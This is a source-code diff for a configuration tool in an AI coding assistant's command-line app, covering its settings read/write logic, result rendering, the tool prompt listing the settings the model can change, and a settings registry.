| 278 |
+
}
|
| 279 |
+
}
|
| 280 |
+
const deps = await checkVoiceDependencies()
|
| 281 |
+
if (!deps.available) {
|
| 282 |
+
return {
|
| 283 |
+
data: {
|
| 284 |
+
success: false,
|
| 285 |
+
error:
|
| 286 |
+
'No audio recording tool found.' +
|
| 287 |
+
(deps.installCommand ? ` Run: ${deps.installCommand}` : ''),
|
| 288 |
+
},
|
| 289 |
+
}
|
| 290 |
+
}
|
| 291 |
+
if (!(await requestMicrophonePermission())) {
|
| 292 |
+
let guidance: string
|
| 293 |
+
if (process.platform === 'win32') {
|
| 294 |
+
guidance = 'Settings \u2192 Privacy \u2192 Microphone'
|
| 295 |
+
} else if (process.platform === 'linux') {
|
| 296 |
+
guidance = "your system's audio settings"
|
| 297 |
+
} else {
|
| 298 |
+
guidance =
|
| 299 |
+
'System Settings \u2192 Privacy & Security \u2192 Microphone'
|
| 300 |
+
}
|
| 301 |
+
return {
|
| 302 |
+
data: {
|
| 303 |
+
success: false,
|
| 304 |
+
error: `Microphone access is denied. To enable it, go to ${guidance}, then try again.`,
|
| 305 |
+
},
|
| 306 |
+
}
|
| 307 |
+
}
|
| 308 |
+
}
|
| 309 |
+
|
| 310 |
+
const previousValue = getValue(config.source, path)
|
| 311 |
+
|
| 312 |
+
// 4. Write to storage
|
| 313 |
+
try {
|
| 314 |
+
if (config.source === 'global') {
|
| 315 |
+
const key = path[0]
|
| 316 |
+
if (!key) {
|
| 317 |
+
return {
|
| 318 |
+
data: {
|
| 319 |
+
success: false,
|
| 320 |
+
operation: 'set',
|
| 321 |
+
setting,
|
| 322 |
+
error: 'Invalid setting path',
|
| 323 |
+
},
|
| 324 |
+
}
|
| 325 |
+
}
|
| 326 |
+
saveGlobalConfig(prev => {
|
| 327 |
+
if (prev[key as keyof GlobalConfig] === finalValue) return prev
|
| 328 |
+
return { ...prev, [key]: finalValue }
|
| 329 |
+
})
|
| 330 |
+
} else {
|
| 331 |
+
const update = buildNestedObject(path, finalValue)
|
| 332 |
+
const result = updateSettingsForSource('userSettings', update)
|
| 333 |
+
if (result.error) {
|
| 334 |
+
return {
|
| 335 |
+
data: {
|
| 336 |
+
success: false,
|
| 337 |
+
operation: 'set',
|
| 338 |
+
setting,
|
| 339 |
+
error: result.error.message,
|
| 340 |
+
},
|
| 341 |
+
}
|
| 342 |
+
}
|
| 343 |
+
}
|
| 344 |
+
|
| 345 |
+
// 5a. Voice needs notifyChange so applySettingsChange resyncs
|
| 346 |
+
// AppState.settings (useVoiceEnabled reads settings.voiceEnabled)
|
| 347 |
+
// and the settings cache resets for the next /voice read.
|
| 348 |
+
if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
|
| 349 |
+
const { settingsChangeDetector } = await import(
|
| 350 |
+
'../../utils/settings/changeDetector.js'
|
| 351 |
+
)
|
| 352 |
+
settingsChangeDetector.notifyChange('userSettings')
|
| 353 |
+
}
|
| 354 |
+
|
| 355 |
+
// 5b. Sync to AppState if needed for immediate UI effect
|
| 356 |
+
if (config.appStateKey) {
|
| 357 |
+
const appKey = config.appStateKey
|
| 358 |
+
context.setAppState(prev => {
|
| 359 |
+
if (prev[appKey] === finalValue) return prev
|
| 360 |
+
return { ...prev, [appKey]: finalValue }
|
| 361 |
+
})
|
| 362 |
+
}
|
| 363 |
+
|
| 364 |
+
// Sync remoteControlAtStartup to AppState so the bridge reacts
|
| 365 |
+
// immediately (the config key differs from the AppState field name,
|
| 366 |
+
// so the generic appStateKey mechanism can't handle this).
|
| 367 |
+
if (setting === 'remoteControlAtStartup') {
|
| 368 |
+
const resolved = getRemoteControlAtStartup()
|
| 369 |
+
context.setAppState(prev => {
|
| 370 |
+
if (
|
| 371 |
+
prev.replBridgeEnabled === resolved &&
|
| 372 |
+
!prev.replBridgeOutboundOnly
|
| 373 |
+
)
|
| 374 |
+
return prev
|
| 375 |
+
return {
|
| 376 |
+
...prev,
|
| 377 |
+
replBridgeEnabled: resolved,
|
| 378 |
+
replBridgeOutboundOnly: false,
|
| 379 |
+
}
|
| 380 |
+
})
|
| 381 |
+
}
|
| 382 |
+
|
| 383 |
+
logEvent('tengu_config_tool_changed', {
|
| 384 |
+
setting:
|
| 385 |
+
setting as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 386 |
+
value: String(
|
| 387 |
+
finalValue,
|
| 388 |
+
) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 389 |
+
})
|
| 390 |
+
|
| 391 |
+
return {
|
| 392 |
+
data: {
|
| 393 |
+
success: true,
|
| 394 |
+
operation: 'set',
|
| 395 |
+
setting,
|
| 396 |
+
previousValue,
|
| 397 |
+
newValue: finalValue,
|
| 398 |
+
},
|
| 399 |
+
}
|
| 400 |
+
} catch (error) {
|
| 401 |
+
logError(error)
|
| 402 |
+
return {
|
| 403 |
+
data: {
|
| 404 |
+
success: false,
|
| 405 |
+
operation: 'set',
|
| 406 |
+
setting,
|
| 407 |
+
error: errorMessage(error),
|
| 408 |
+
},
|
| 409 |
+
}
|
| 410 |
+
}
|
| 411 |
+
},
|
| 412 |
+
mapToolResultToToolResultBlockParam(content: Output, toolUseID: string) {
|
| 413 |
+
if (content.success) {
|
| 414 |
+
if (content.operation === 'get') {
|
| 415 |
+
return {
|
| 416 |
+
tool_use_id: toolUseID,
|
| 417 |
+
type: 'tool_result' as const,
|
| 418 |
+
content: `${content.setting} = ${jsonStringify(content.value)}`,
|
| 419 |
+
}
|
| 420 |
+
}
|
| 421 |
+
return {
|
| 422 |
+
tool_use_id: toolUseID,
|
| 423 |
+
type: 'tool_result' as const,
|
| 424 |
+
content: `Set ${content.setting} to ${jsonStringify(content.newValue)}`,
|
| 425 |
+
}
|
| 426 |
+
}
|
| 427 |
+
return {
|
| 428 |
+
tool_use_id: toolUseID,
|
| 429 |
+
type: 'tool_result' as const,
|
| 430 |
+
content: `Error: ${content.error}`,
|
| 431 |
+
is_error: true,
|
| 432 |
+
}
|
| 433 |
+
},
|
| 434 |
+
} satisfies ToolDef<InputSchema, Output>)
|
| 435 |
+
|
| 436 |
+
function getValue(source: 'global' | 'settings', path: string[]): unknown {
|
| 437 |
+
if (source === 'global') {
|
| 438 |
+
const config = getGlobalConfig()
|
| 439 |
+
const key = path[0]
|
| 440 |
+
if (!key) return undefined
|
| 441 |
+
return config[key as keyof GlobalConfig]
|
| 442 |
+
}
|
| 443 |
+
const settings = getInitialSettings()
|
| 444 |
+
let current: unknown = settings
|
| 445 |
+
for (const key of path) {
|
| 446 |
+
if (current && typeof current === 'object' && key in current) {
|
| 447 |
+
current = (current as Record<string, unknown>)[key]
|
| 448 |
+
} else {
|
| 449 |
+
return undefined
|
| 450 |
+
}
|
| 451 |
+
}
|
| 452 |
+
return current
|
| 453 |
+
}
|
| 454 |
+
|
| 455 |
+
function buildNestedObject(
|
| 456 |
+
path: string[],
|
| 457 |
+
value: unknown,
|
| 458 |
+
): Record<string, unknown> {
|
| 459 |
+
if (path.length === 0) {
|
| 460 |
+
return {}
|
| 461 |
+
}
|
| 462 |
+
const key = path[0]!
|
| 463 |
+
if (path.length === 1) {
|
| 464 |
+
return { [key]: value }
|
| 465 |
+
}
|
| 466 |
+
return { [key]: buildNestedObject(path.slice(1), value) }
|
| 467 |
+
}
|
src/tools/ConfigTool/UI.tsx
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import React from 'react';
|
| 2 |
+
import { MessageResponse } from '../../components/MessageResponse.js';
|
| 3 |
+
import { Text } from '../../ink.js';
|
| 4 |
+
import { jsonStringify } from '../../utils/slowOperations.js';
|
| 5 |
+
import type { Input, Output } from './ConfigTool.js';
|
| 6 |
+
export function renderToolUseMessage(input: Partial<Input>): React.ReactNode {
|
| 7 |
+
if (!input.setting) return null;
|
| 8 |
+
if (input.value === undefined) {
|
| 9 |
+
return <Text dimColor>Getting {input.setting}</Text>;
|
| 10 |
+
}
|
| 11 |
+
return <Text dimColor>
|
| 12 |
+
Setting {input.setting} to {jsonStringify(input.value)}
|
| 13 |
+
</Text>;
|
| 14 |
+
}
|
| 15 |
+
export function renderToolResultMessage(content: Output): React.ReactNode {
|
| 16 |
+
if (!content.success) {
|
| 17 |
+
return <MessageResponse>
|
| 18 |
+
<Text color="error">Failed: {content.error}</Text>
|
| 19 |
+
</MessageResponse>;
|
| 20 |
+
}
|
| 21 |
+
if (content.operation === 'get') {
|
| 22 |
+
return <MessageResponse>
|
| 23 |
+
<Text>
|
| 24 |
+
<Text bold>{content.setting}</Text> = {jsonStringify(content.value)}
|
| 25 |
+
</Text>
|
| 26 |
+
</MessageResponse>;
|
| 27 |
+
}
|
| 28 |
+
return <MessageResponse>
|
| 29 |
+
<Text>
|
| 30 |
+
Set <Text bold>{content.setting}</Text> to{' '}
|
| 31 |
+
<Text bold>{jsonStringify(content.newValue)}</Text>
|
| 32 |
+
</Text>
|
| 33 |
+
</MessageResponse>;
|
| 34 |
+
}
|
| 35 |
+
export function renderToolUseRejectedMessage(): React.ReactNode {
|
| 36 |
+
return <Text color="warning">Config change rejected</Text>;
|
| 37 |
+
}
|
| 38 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIk1lc3NhZ2VSZXNwb25zZSIsIlRleHQiLCJqc29uU3RyaW5naWZ5IiwiSW5wdXQiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImlucHV0IiwiUGFydGlhbCIsIlJlYWN0Tm9kZSIsInNldHRpbmciLCJ2YWx1ZSIsInVuZGVmaW5lZCIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwiY29udGVudCIsInN1Y2Nlc3MiLCJlcnJvciIsIm9wZXJhdGlvbiIsIm5ld1ZhbHVlIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgdHlwZSB7IElucHV0LCBPdXRwdXQgfSBmcm9tICcuL0NvbmZpZ1Rvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZShpbnB1dDogUGFydGlhbDxJbnB1dD4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWlucHV0LnNldHRpbmcpIHJldHVybiBudWxsXG4gIGlmIChpbnB1dC52YWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgcmV0dXJuIDxUZXh0IGRpbUNvbG9yPkdldHRpbmcge2lucHV0LnNldHRpbmd9PC9UZXh0PlxuICB9XG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3I+XG4gICAgICBTZXR0aW5nIHtpbnB1dC5zZXR0aW5nfSB0byB7anNvblN0cmluZ2lmeShpbnB1dC52YWx1ZSl9XG4gICAgPC9UZXh0PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sUmVzdWx0TWVzc2FnZShjb250ZW50OiBPdXRwdXQpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWNvbnRlbnQuc3VjY2Vzcykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+RmFpbGVkOiB7Y29udGVudC5lcnJvcn08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgaWYgKGNvbnRlbnQub3BlcmF0aW9uID09PSAnZ2V0Jykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiA9IHtqc29uU3RyaW5naWZ5KGNvbnRlbnQudmFsdWUpfVxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgcmV0dXJuIChcbiAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgPFRleHQ+XG4gICAgICAgIFNldCA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiB0b3snICd9XG4gICAgICAgIDxUZXh0IGJvbGQ+e2pzb25TdHJpbmdpZnkoY29udGVudC5uZXdWYWx1ZSl9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5Db25maWcgY2hhbmdlIHJlamVjdGVkPC9UZXh0PlxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxlQUFlLFFBQVEscUNBQXFDO0FBQ3JFLFNBQVNDLElBQUksUUFBUSxjQUFjO0FBQ25DLFNBQVNDLGFBQWEsUUFBUSwrQkFBK0I7QUFDN0QsY0FBY0MsS0FBSyxFQUFFQyxNQUFNLFFBQVEsaUJBQWlCO0FBRXBELE9BQU8sU0FBU0Msb0JBQW9CQSxDQUFDQyxLQUFLLEVBQUVDLE9BQU8sQ0FBQ0osS0FBSyxDQUFDLENBQUMsRUFBRUosS0FBSyxDQUFDUyxTQUFTLENBQUM7RUFDM0UsSUFBSSxDQUFDRixLQUFLLENBQUNHLE9BQU8sRUFBRSxPQUFPLElBQUk7RUFDL0IsSUFBSUgsS0FBSyxDQUFDSSxLQUFLLEtBQUtDLFNBQVMsRUFBRTtJQUM3QixPQUFPLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxRQUFRLENBQUNMLEtBQUssQ0FBQ0csT0FBTyxDQUFDLEVBQUUsSUFBSSxDQUFDO0VBQ3REO0VBQ0EsT0FDRSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ2xCLGNBQWMsQ0FBQ0gsS0FBSyxDQUFDRyxPQUFPLENBQUMsSUFBSSxDQUFDUCxhQUFhLENBQUNJLEtBQUssQ0FBQ0ksS0FBSyxDQUFDO0FBQzVELElBQUksRUFBRSxJQUFJLENBQUM7QUFFWDtBQUVBLE9BQU8sU0FBU0UsdUJBQXVCQSxDQUFDQyxPQUFPLEVBQUVULE1BQU0sQ0FBQyxFQUFFTCxLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUN4RSxJQUFJLENBQUNLLE9BQU8sQ0FBQ0MsT0FBTyxFQUFFO0lBQ3BCLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUNELE9BQU8sQ0FBQ0UsS0FBSyxDQUFDLEVBQUUsSUFBSTtBQUN6RCxNQUFNLEVBQUUsZUFBZSxDQUFDO0VBRXRCO0VBQ0EsSUFBSUYsT0FBTyxDQUFDRyxTQUFTLEtBQUssS0FBSyxFQUFFO0lBQy9CLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJO0FBQ2IsVUFBVSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0gsT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDUCxhQUFhLENBQUNXLE9BQU8sQ0FBQ0gsS0FBSyxDQUFDO0FBQzdFLFFBQVEsRUFBRSxJQUFJO0FBQ2QsTUFBTSxFQUFFLGVBQWUsQ0FBQztFQUV0QjtFQUNBLE9BQ0UsQ0FBQyxlQUFlO0FBQ3BCLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsWUFBWSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0csT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDLEdBQUc7QUFDdEQsUUFBUSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ1AsYUFBYSxDQUFDVyxPQUFPLENBQUNJLFFBQVEsQ0FBQyxDQUFDLEVBQUUsSUFBSTtBQUMxRCxNQUFNLEVBQUUsSUFBSTtBQUNaLElBQUksRUFBRSxlQUFlLENBQUM7QUFFdEI7QUFFQSxPQUFPLFNBQVNDLDRCQUE0QkEsQ0FBQSxDQUFFLEVBQUVuQixLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUM5RCxPQUFPLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsc0JBQXNCLEVBQUUsSUFBSSxDQUFDO0FBQzVEIiwiaWdub3JlTGlzdCI6W119
|
src/tools/ConfigTool/constants.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
export const CONFIG_TOOL_NAME = 'Config'
|
src/tools/ConfigTool/prompt.ts
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { getModelOptions } from '../../utils/model/modelOptions.js'
|
| 3 |
+
import { isVoiceGrowthBookEnabled } from '../../voice/voiceModeEnabled.js'
|
| 4 |
+
import {
|
| 5 |
+
getOptionsForSetting,
|
| 6 |
+
SUPPORTED_SETTINGS,
|
| 7 |
+
} from './supportedSettings.js'
|
| 8 |
+
|
| 9 |
+
export const DESCRIPTION = 'Get or set Claude Code configuration settings.'
|
| 10 |
+
|
| 11 |
+
/**
|
| 12 |
+
* Generate the prompt documentation from the registry
|
| 13 |
+
*/
|
| 14 |
+
export function generatePrompt(): string {
|
| 15 |
+
const globalSettings: string[] = []
|
| 16 |
+
const projectSettings: string[] = []
|
| 17 |
+
|
| 18 |
+
for (const [key, config] of Object.entries(SUPPORTED_SETTINGS)) {
|
| 19 |
+
// Skip model - it gets its own section with dynamic options
|
| 20 |
+
if (key === 'model') continue
|
| 21 |
+
// Voice settings are registered at build-time but gated by GrowthBook
|
| 22 |
+
// at runtime. Hide from model prompt when the kill-switch is on.
|
| 23 |
+
if (
|
| 24 |
+
feature('VOICE_MODE') &&
|
| 25 |
+
key === 'voiceEnabled' &&
|
| 26 |
+
!isVoiceGrowthBookEnabled()
|
| 27 |
+
)
|
| 28 |
+
continue
|
| 29 |
+
|
| 30 |
+
const options = getOptionsForSetting(key)
|
| 31 |
+
let line = `- ${key}`
|
| 32 |
+
|
| 33 |
+
if (options) {
|
| 34 |
+
line += `: ${options.map(o => `"${o}"`).join(', ')}`
|
| 35 |
+
} else if (config.type === 'boolean') {
|
| 36 |
+
line += `: true/false`
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
line += ` - ${config.description}`
|
| 40 |
+
|
| 41 |
+
if (config.source === 'global') {
|
| 42 |
+
globalSettings.push(line)
|
| 43 |
+
} else {
|
| 44 |
+
projectSettings.push(line)
|
| 45 |
+
}
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
const modelSection = generateModelSection()
|
| 49 |
+
|
| 50 |
+
return `Get or set Claude Code configuration settings.
|
| 51 |
+
|
| 52 |
+
View or change Claude Code settings. Use when the user requests configuration changes, asks about current settings, or when adjusting a setting would benefit them.
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
## Usage
|
| 56 |
+
- **Get current value:** Omit the "value" parameter
|
| 57 |
+
- **Set new value:** Include the "value" parameter
|
| 58 |
+
|
| 59 |
+
## Configurable settings list
|
| 60 |
+
The following settings are available for you to change:
|
| 61 |
+
|
| 62 |
+
### Global Settings (stored in ~/.claude.json)
|
| 63 |
+
${globalSettings.join('\n')}
|
| 64 |
+
|
| 65 |
+
### Project Settings (stored in settings.json)
|
| 66 |
+
${projectSettings.join('\n')}
|
| 67 |
+
|
| 68 |
+
${modelSection}
|
| 69 |
+
## Examples
|
| 70 |
+
- Get theme: { "setting": "theme" }
|
| 71 |
+
- Set dark theme: { "setting": "theme", "value": "dark" }
|
| 72 |
+
- Enable vim mode: { "setting": "editorMode", "value": "vim" }
|
| 73 |
+
- Enable verbose: { "setting": "verbose", "value": true }
|
| 74 |
+
- Change model: { "setting": "model", "value": "opus" }
|
| 75 |
+
- Change permission mode: { "setting": "permissions.defaultMode", "value": "plan" }
|
| 76 |
+
`
|
| 77 |
+
}
|
| 78 |
+
|
| 79 |
+
function generateModelSection(): string {
|
| 80 |
+
try {
|
| 81 |
+
const options = getModelOptions()
|
| 82 |
+
const lines = options.map(o => {
|
| 83 |
+
const value = o.value === null ? 'null/"default"' : `"${o.value}"`
|
| 84 |
+
return ` - ${value}: ${o.descriptionForModel ?? o.description}`
|
| 85 |
+
})
|
| 86 |
+
return `## Model
|
| 87 |
+
- model - Override the default model. Available options:
|
| 88 |
+
${lines.join('\n')}`
|
| 89 |
+
} catch {
|
| 90 |
+
return `## Model
|
| 91 |
+
- model - Override the default model (sonnet, opus, haiku, best, or full model ID)`
|
| 92 |
+
}
|
| 93 |
+
}
|
src/tools/ConfigTool/supportedSettings.ts
ADDED
|
@@ -0,0 +1,211 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { getRemoteControlAtStartup } from '../../utils/config.js'
|
| 3 |
+
import {
|
| 4 |
+
EDITOR_MODES,
|
| 5 |
+
NOTIFICATION_CHANNELS,
|
| 6 |
+
TEAMMATE_MODES,
|
| 7 |
+
} from '../../utils/configConstants.js'
|
| 8 |
+
import { getModelOptions } from '../../utils/model/modelOptions.js'
|
| 9 |
+
import { validateModel } from '../../utils/model/validateModel.js'
|
| 10 |
+
import { THEME_NAMES, THEME_SETTINGS } from '../../utils/theme.js'
|
| 11 |
+
|
| 12 |
+
/** AppState keys that can be synced for immediate UI effect */
|
| 13 |
+
type SyncableAppStateKey = 'verbose' | 'mainLoopModel' | 'thinkingEnabled'
|
| 14 |
+
|
| 15 |
+
type SettingConfig = {
|
| 16 |
+
source: 'global' | 'settings'
|
| 17 |
+
type: 'boolean' | 'string'
|
| 18 |
+
description: string
|
| 19 |
+
path?: string[]
|
| 20 |
+
options?: readonly string[]
|
| 21 |
+
getOptions?: () => string[]
|
| 22 |
+
appStateKey?: SyncableAppStateKey
|
| 23 |
+
/** Async validation called when writing/setting a value */
|
| 24 |
+
validateOnWrite?: (v: unknown) => Promise<{ valid: boolean; error?: string }>
|
| 25 |
+
/** Format value when reading/getting for display */
|
| 26 |
+
formatOnRead?: (v: unknown) => unknown
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
export const SUPPORTED_SETTINGS: Record<string, SettingConfig> = {
|
| 30 |
+
theme: {
|
| 31 |
+
source: 'global',
|
| 32 |
+
type: 'string',
|
| 33 |
+
description: 'Color theme for the UI',
|
| 34 |
+
options: feature('AUTO_THEME') ? THEME_SETTINGS : THEME_NAMES,
|
| 35 |
+
},
|
| 36 |
+
editorMode: {
|
| 37 |
+
source: 'global',
|
| 38 |
+
type: 'string',
|
| 39 |
+
description: 'Key binding mode',
|
| 40 |
+
options: EDITOR_MODES,
|
| 41 |
+
},
|
| 42 |
+
verbose: {
|
| 43 |
+
source: 'global',
|
| 44 |
+
type: 'boolean',
|
| 45 |
+
description: 'Show detailed debug output',
|
| 46 |
+
appStateKey: 'verbose',
|
| 47 |
+
},
|
| 48 |
+
preferredNotifChannel: {
|
| 49 |
+
source: 'global',
|
| 50 |
+
type: 'string',
|
| 51 |
+
description: 'Preferred notification channel',
|
| 52 |
+
options: NOTIFICATION_CHANNELS,
|
| 53 |
+
},
|
| 54 |
+
autoCompactEnabled: {
|
| 55 |
+
source: 'global',
|
| 56 |
+
type: 'boolean',
|
| 57 |
+
description: 'Auto-compact when context is full',
|
| 58 |
+
},
|
| 59 |
+
autoMemoryEnabled: {
|
| 60 |
+
source: 'settings',
|
| 61 |
+
type: 'boolean',
|
| 62 |
+
description: 'Enable auto-memory',
|
| 63 |
+
},
|
| 64 |
+
autoDreamEnabled: {
|
| 65 |
+
source: 'settings',
|
| 66 |
+
type: 'boolean',
|
| 67 |
+
description: 'Enable background memory consolidation',
|
| 68 |
+
},
|
| 69 |
+
fileCheckpointingEnabled: {
|
| 70 |
+
source: 'global',
|
| 71 |
+
type: 'boolean',
|
| 72 |
+
description: 'Enable file checkpointing for code rewind',
|
| 73 |
+
},
|
| 74 |
+
showTurnDuration: {
|
| 75 |
+
source: 'global',
|
| 76 |
+
type: 'boolean',
|
| 77 |
+
description:
|
| 78 |
+
'Show turn duration message after responses (e.g., "Cooked for 1m 6s")',
|
| 79 |
+
},
|
| 80 |
+
terminalProgressBarEnabled: {
|
| 81 |
+
source: 'global',
|
| 82 |
+
type: 'boolean',
|
| 83 |
+
description: 'Show OSC 9;4 progress indicator in supported terminals',
|
| 84 |
+
},
|
| 85 |
+
todoFeatureEnabled: {
|
| 86 |
+
source: 'global',
|
| 87 |
+
type: 'boolean',
|
| 88 |
+
